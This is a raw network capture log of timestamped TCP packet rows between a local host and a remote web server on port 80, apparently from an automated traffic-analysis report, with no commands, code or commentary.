Nov 27, 2022 04:36:43.007976055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.007978916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008004904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.008012056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008032084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008044958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008058071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008069992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008081913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008097887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008110046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008121967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008140087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008155107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.008162975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008174896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.008183002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008202076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008219004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.008219957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008239031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008255005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008255959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.008272886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008290052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008294106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.008310080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008326054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.008356094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.008866072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008884907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008902073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008919001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008936882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008940935 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.008954048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008971930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.008984089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.008991003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009010077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009018898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009028912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009047031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009058952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009063005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009077072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009094954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009111881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009128094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009130001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009145975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009152889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009152889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009166002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009177923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009182930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009202003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009222984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009226084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009239912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009248018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009259939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009284973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009288073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009562969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009711981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009732008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009751081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009769917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009789944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009793043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009809017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009825945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009830952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009850979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009872913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009881973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009892941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009902000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009913921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009933949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009944916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.009954929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009974957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.009994030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010004997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010013103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010024071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010034084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010054111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010067940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010075092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010094881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010113955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010121107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010143995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010144949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010163069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010179996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010196924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010207891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010215998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010227919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010268927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010663986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010680914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010698080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010715961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010732889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010742903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010751009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010770082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010771036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010792017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010804892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010812044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010833979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010844946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010850906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010871887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010899067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010905027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010917902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010932922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.010946035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010965109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010982990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.010996103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011002064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011013031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011020899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011044025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011053085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011065006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011082888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011101007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011105061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011118889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011132956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011174917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011506081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011524916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011543036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011562109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011579037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011595011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011605024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011615992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011626959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011636019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011656046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011662006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011672974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011691093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011702061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011709929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011723995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011727095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011745930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011765003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011780977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011784077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011801004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011818886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011828899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011828899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011837959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011857986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011859894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011874914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011893988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011912107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011915922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011929035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011936903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.011948109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011965990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.011982918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012000084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.012001038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012021065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.012058973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.012427092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012444973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012461901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012480974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012496948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012504101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.012516022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012521982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.012535095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012553930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012563944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.012573957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012598038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012618065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012626886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.012634993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012654066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012656927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.012672901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012686014 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.012691021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012712955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012729883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012738943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.012748003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012762070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.012767076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012787104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012799025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012799025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.012813091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.012856007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.012876034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013154984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013175964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013194084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013211966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013226986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013231039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013251066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013268948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013271093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013287067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013295889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013308048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013325930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013339043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013341904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013360023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013370037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013376951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013397932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013415098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013426065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013432980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013446093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013453007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013472080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013485909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013492107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013510942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013526917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013536930 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013545036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013556004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013567924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013585091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013602018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013607025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013619900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013632059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013638020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013657093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013669968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.013674021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.013706923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.014213085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014231920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014249086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014266014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014273882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.014286995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014303923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.014308929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014328003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014338970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.014345884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014364004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014374971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.014383078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014400959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014419079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014431953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.014436960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014456987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014456987 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.014475107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014484882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.014492989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014509916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014527082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014527082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.014544010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014548063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.014561892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014579058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.014589071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.017633915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.018863916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.018903017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.018922091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.018939972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.018958092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.018970966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.018984079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019001007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019013882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019032001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019045115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019057989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019068956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019082069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019093037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019099951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019099951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019100904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019100904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019141912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019161940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019162893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019161940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019182920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019201994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019218922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019234896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019234896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019237995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019254923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019256115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019279003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019296885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019315004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019328117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019334078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019351959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019367933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019368887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019387007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019387007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019404888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019422054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019422054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019442081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019459009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019459009 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019476891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019495010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019495964 CET	49705	80	192.168.2.5	66.235.200.147
